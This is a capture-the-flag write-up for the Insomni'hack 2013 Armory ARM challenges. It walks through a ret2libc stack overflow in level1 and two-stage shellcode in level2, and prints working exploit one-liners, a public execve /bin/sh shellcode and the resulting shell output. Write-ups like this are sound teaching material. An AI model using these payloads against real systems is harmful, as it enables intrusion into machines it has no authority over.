Insomni’hack 2013 Armory level1 & level2

Level1 should be pretty straightforward. Looking at the assenbly, you can see that it prints the current working directory by using system(“pwd”) and then strcpy user controlled data to a fixed size buffer.

Stack is NX so we need to ret2libc, pretty easy here as the address of system is known inside the binary:

[code language=”bash”]Dump of assembler code for function main:

0x000084f0 <+44>: bl 0x836c <printf>
0x000084f4 <+48>: ldr r0, [pc, #40] ; 0x8524 <main+96>
0x000084f8 <+52>: bl 0x839c <system> # Adress of system
0x000084fc <+56>: ldr r3, [r11, #-12]
0x00008500 <+60>: add r3, r3, #4

End of assembler dump.[/code]

So, by calculating the offset, we know we have $pc control after 132 bytes. System takes one argument in $r0. Perfect, right after the $pc overwrite, we have a user-controlled string in $r0 being our argv[1].

Here is the exploit :

[code language=”bash”]# ./level1 `python -c ‘print “/bin/sh;”+”#”*124+”x9cx83″‘`
Current working directory:
/home/level1
root says: /bin/sh;############################################################################################################################
# ls -al
total 28
dr-xr-x— 2 level1 level1 4096 Mar 20 08:56 .
dr-xr-xr-x 6 root root 4096 Mar 19 23:40 ..
lrwxrwxrwx 1 root root 9 Mar 20 08:56 .bash_history -&gt; /dev/null
-r–r–r– 1 level1 level1 220 Jan 11 06:34 .bash_logout
-r–r–r– 1 level1 level1 3392 Jan 11 06:34 .bashrc
-r-sr-xr-x 1 level2 level1 5684 Mar 6 10:29 level1
-r–r–r– 1 level1 level1 675 Jan 11 06:34 .profile
# [/code]

Level2 is a bit more complicated.

The program reads 20 bytes from stdin and jumps to it, stack is executable:

[code language=”bash”](gdb) disass main
Dump of assembler code for function main:
0x000083fc <+0>: push {r11, lr}
0x00008400 <+4>: add r11, sp, #4
0x00008404 <+8>: sub sp, sp, #256 ; 0x100
0x00008408 <+12>: sub r3, r11, #260 ; 0x104
0x0000840c <+16>: mov r2, #20 = size
0x00008410 <+20>: mov r1, r3
0x00008414 <+24>: mov r0, #0 = stdin
0x00008418 <+28>: bl 0x8314 <read>
0x0000841c <+32>: sub r3, r11, #260 ; 0x104
0x00008420 <+36>: blx r3 # jumps to our buffer
0x00008424 <+40>: ldr r0, [pc, #4] ; 0x8430 <main+52>
0x00008428 <+44>: bl 0x8320 <puts>
0x0000842c <+48>: b 0x8408 <main+12>
[/code]

20 bytes is too small to do an execve, but it’s enough to do a return to read, in this case main+20 after having set $r2 big enough to contain our shellcode.

The exploit will be done in two stage, first one is to set $r2 to 256 and then jump to 0x8410. Also when the program branch to $r3, we can see that $r6 points near to main, at 0x8350. We need to :

[code language=”bash”] add r6,r6,$192
mov r2, $256
blx r6
PAD
PAD[/code]

This would work well in a perfect world but was failing randomly on the raspberry pi (core dumps) but never through gdb or strace. Analyzing the core dumps, we saw that sometimes the program wasn’t doing the blx r6 from time to time and that left us wandering. We added some loop after the blx r6 to “stabilize” the exploit 🙂

[code language=”bash”]_start:
add r6,r6,$192
mov r2, $256
test:
blx r6
bl test
bl test
[/code]

For the second pass, we used djo‘s linux/arm execve from http://www.shell-storm.org/shellcode/files/shellcode-696.php

Here is the final exploit:

[code language=”bash”] # (python -c ‘print “xc0x60x86xe2x01x2cxa0xe3x36xffx2fxe1xfdxffxffxebxfcxffxffxeb”+”x01xdcx4dxe2x01x30x8fxe2x13xffx2fxe1x78x46x08x30x49x1ax92x1ax0bx27x01xdfx2fx62x69x6ex2fx73x68x00″‘;cat) | ./level2[/code]

We got around 3 out of 5 successful exploit from there so we figured it was sort of working… And in any case we were available during the CTF to discuss this should a team have any issues.

Team Int3pids was the first to solve it so we went to discuss with the one who solved it, Eloi Sanfelix. He told us that this kind of behavior is typical on arm processors due to the data and instruction cache. That explains why it was working all the time under a debugger since the cache has enough time to flush.

Nevertheless, one other team solved it by launching it over and over. I was told it took them ~200 attempts 🙂